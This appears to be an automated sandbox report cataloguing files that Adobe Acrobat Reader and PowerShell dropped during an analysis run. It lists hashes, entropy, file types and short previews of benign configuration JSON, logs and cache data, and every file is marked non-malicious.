Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.249750826971639
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWmgYY+FIbRI6XVW7+0YNkoAvJfshHHrPeUkwRe9:YvXKXue5YpW7cGUUUkee9
MD5:	AA2006B9031E5DC86762FFB5C65BB869
SHA1:	01757CDC681931B79AC14B4A8586832C324DCDE4
SHA-256:	F33D9FEEADD8D68CB0103767124B43D8EBC7831958999CEBBCEA142A08FB6BAF
SHA-512:	8B31F407FADBC42819F23504D896C49C041B7FED18CF7416AC6AEF3F3635A775BBBC676216D04009208BAC3218C8C2C739AD11656ED39FAC0D67DDE2EB0425D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.258978520408477
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWmgYY+FIbRI6XVW7+0YNkoAvJTqgFCrPeUkwRe9:YvXKXue5YpW7cGTq16Ukee9
MD5:	A6F9792292FB22161A85CA255333365F
SHA1:	F8FB403B8EADBA180B7B601BBF9E40E8855E036C
SHA-256:	EE884FE01B0FAF9925D67872937CC4009E2907BDAFC8F4527CE9C327FA541CC6
SHA-512:	EF650E1A45E5DE1AABD61CA38451AF4556B68DB139583014FE91573375A96DD66C9121B3B66B67A15CD3D7974701E8D7CA1F4A1135C452E3793002FC73CD1523
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"833143a4-597d-4d24-a4d2-90f9477b1720","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736750263885,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.12964354086709
Encrypted:	false
SSDEEP:	24:YXfE4aoayz9yRA7weBdk+fiDjDAjQ9vj0SAEIXC82a2LSqCyJAzx3c8MbT5RkN9e:YPuqrH6jG07/ifbsZAV3H07g9uxB
MD5:	81DE454046A84FD37DF418C45DD777A1
SHA1:	26B01375DD08F7D957900285EB600FC37B7E0930
SHA-256:	09685A1275AC0BE040809673638FE8E9A9870D4D2A1994FB321B2CDD6ECB03EB
SHA-512:	AE6A344CED3C82DBEA31F8D2C17DB808934F41033D47E28FF79A93B3E7E6F3A0EADB193C771A86E3A40B11F5C0666D3BF3351E1EA84D864D5D5B8B7044AE7C22
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"87c57b31d1816998890c3f720e9323b6","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736572123000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d00bc9215ee2ae64dd351a4dfc683c22","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736572123000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d9e2f665724fb3c50fd3219f02dc6a67","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736572123000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"473e257dbdeaeed2526d2955cd8645da","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736572123000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"2ff56c853166fa04a891ba1346bbd921","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736572123000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0129e486f8e5e38939df83929e8de022","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9861253059599328
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpRFjE4zJwtNBwtNbRZ6bRZ40FjEF:TVl2GL7ms6ggOVpRFDzutYtp6PXF8
MD5:	E0D4FDAD28801900BDC0F7E493777478
SHA1:	42D898D3C22FCD7035B0E806DCDD9A02FD999492
SHA-256:	6BF5DE27E0E42218734AE635CB5F91BF3BFA89E1CD2A6F4F9212966428158A69
SHA-512:	2EFD38A572360E57BE15969ADB0C56845A72498F41B407102048C36F8A41C2C6F207BF49FD588206040B9F14514F3F27E414715914D60A0F623C3C8FDE1B7BE4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3377352706032961
Encrypted:	false
SSDEEP:	24:7+t+hAD1RZKHs/Ds/SpRFjEPzJwtNBwtNbRZ6bRZWf1RZK+HqLBx/XYKQvGJF7uh:7M+hGgOVpRF8zutYtp6PMBqll2GL7msY
MD5:	9FE921E82C5E79D2045B602F6C61AE46
SHA1:	7E2D7252913C5A7067E4A4587831EBC199759F1B
SHA-256:	6A766F27D2D03D90853E6E563051051279ED61BDDABB924E5A0C4A629B9E5C50
SHA-512:	14F77158E9DA2C8A4C08CE871B6828379333B8787D238BF686266329BEEAA745FFFA47597549B17C06E882AA67E4326E89269A4C3D55D2784A407EFDB83C7A02
Malicious:	false
Preview:	.... .c..... .5.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgr5fVSxuRPMVQaK31wEQa3+a4PmYyu:6a6TZ44ADEr5diVQJlwEatmK
MD5:	A2E000F2BED34E964E664FE1DBA05416
SHA1:	F105EF77DAC23BCB6379A56534CD9957EC490B90
SHA-256:	8877ABAF1999067B99114C35BA926C42924CD602B2D36412402BF34C5AC9BB6C
SHA-512:	8DE93529DD756753BB519E6D5977D06E685A57E4629151CEDB543F0B2DF7AD93BB2E4C7EF7714756F45CAFE21472DBB38B6D77AE051C82E5F4490161E0A41624
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSIb9bba.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Clpw:Qw946cPbiOxDlbYnuRKdz
MD5:	10740B904500881C61856E8ED99C8194
SHA1:	BFB9350ECBAB5A4CBB759F4ADEBCB943BBFF2085
SHA-256:	7A61EE717F9B67BD80C7774AB4DE5B5E70B040DDF6DDB7A77B81428676C0979C
SHA-512:	7087AEF3EEAD964DEACA6DFF2C3AB04800C1F329C794CAD4ADA56BC51B1B6428BACB0991449F69B2C681038F1482DFEC9403FB5E6BA22EAC8C96BD7D14C33E49
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.0.8.:.4.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sdzywghj.eby.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uenim14n.nyu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-08-40-293.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3581833766152895
Encrypted:	false
SSDEEP:	384:EJn0U6FZY9sSplD7DtjI0n4pNKL1CJ5bzU6+4wgegyW+q4NEPFksT1I18ZOU+89p:BCo
MD5:	458F928E1E407F0391443462EAFC951A
SHA1:	0A283E318E80C7A6514157D7EB2A36859B3DD64E
SHA-256:	EC9F2BFB436D83F588A729300D1A5B86A4E75B750F4973DE78FF2270886F6815
SHA-512:	90A2429B635044CF2FD16B4C46744CA32884A296DB707ACE01857A63B9B504155F101AE46B012B442493E4E99A867E10686E1604FBDE1D1E7F1240F80DE95090
Malicious:	false
Preview:	SessionID=827ffb43-d284-478f-932f-a27bcf859280.1736572120311 Timestamp=2025-01-11T00:08:40:311-0500 ThreadID=7692 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=827ffb43-d284-478f-932f-a27bcf859280.1736572120311 Timestamp=2025-01-11T00:08:40:313-0500 ThreadID=7692 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=827ffb43-d284-478f-932f-a27bcf859280.1736572120311 Timestamp=2025-01-11T00:08:40:313-0500 ThreadID=7692 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=827ffb43-d284-478f-932f-a27bcf859280.1736572120311 Timestamp=2025-01-11T00:08:40:313-0500 ThreadID=7692 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=827ffb43-d284-478f-932f-a27bcf859280.1736572120311 Timestamp=2025-01-11T00:08:40:314-0500 ThreadID=7692 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.39336289638618
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb+:K
MD5:	D5C8FA7107376A7A3AB6458C48DB9590
SHA1:	C616B4E54077831B905B2486A91D479C9DC8AF53
SHA-256:	B5471F57A1F48E2BD56EFF0D474146429CCF30463F7CFE0465200C5CD7B8F2FB
SHA-512:	C808D3DC72FDDC72C40CC6827375B95FCDE7B997A3A93E5B9C216E20A96DD3F28724AD8B09B54BF0AD9274ACBA3F2DE0112639F077166043EFB3C7B84D135B50
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0c8da3dc-492b-4d64-9b35-120def61deb1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4db6d6c9-f6cd-42d5-96a9-89d80d0de1a7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\dc76a3ef-3896-4b3b-93bd-c553190d9a74.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLqGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLqGZDwZGk3mlind9i4ufFXpAXkru
MD5:	E42C8B9AED981113F9D6603EA269B888
SHA1:	1545AE2D39B79919AC1AF1B9568A06D4C8E6FB14
SHA-256:	EB85E221AC45089CC2A99316C51C34F770512A56C4D689E4A13FFC55FF84E797
SHA-512:	E2D5F22A3F1E7A0E376F3CD4953DD1C4FAF1148C8E2DC215100E6E1867F4B4353D4634D0E13B081CB2569FCFA2507C780B2134BB543CCACC9763EF43C5B6BA05
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f706a857-4bcf-4588-933e-a84bc551b293.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... 